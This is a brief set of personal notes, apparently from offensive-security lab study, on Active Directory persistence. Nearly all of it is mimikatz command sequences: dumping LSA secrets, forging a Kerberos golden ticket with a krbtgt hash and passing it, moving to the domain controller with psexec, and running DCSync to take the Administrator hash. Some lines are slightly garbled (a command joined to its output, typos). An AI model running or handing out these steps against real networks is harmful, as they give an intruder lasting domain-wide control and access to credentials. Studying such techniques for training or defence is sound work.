AD Persistence

Owner	Raymond Soreng
Tags	

▼ Golden Tickets

```
C:\Tools\active_directory>psexec.exe \\dc01 md.exe

mimikatz #privilege::debug

mimikatz #lsadump::lsa /patch

mimikatz #kerberos::purge

mimikatz #kerberos::golden /user:fakeuser /domain:corp.com
/sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:75b6
0230a2394a812000dbfad8415965 /ptt

mimikatz #misc::cmd

C:\Users\offsec.crop>psexec.exe \\dc01 cmd.exe

C:\Windows\system32>whoamicorp\fakeuser

C:\Windows\system32>whoami /groups

C:\Users\Offsec.corp>psexec.exe \\192.168.1.110 cmd.exe
```

▼ Domain Controller Persistence

```
mimikatz #lsadump::dcsync /user:Administrator
```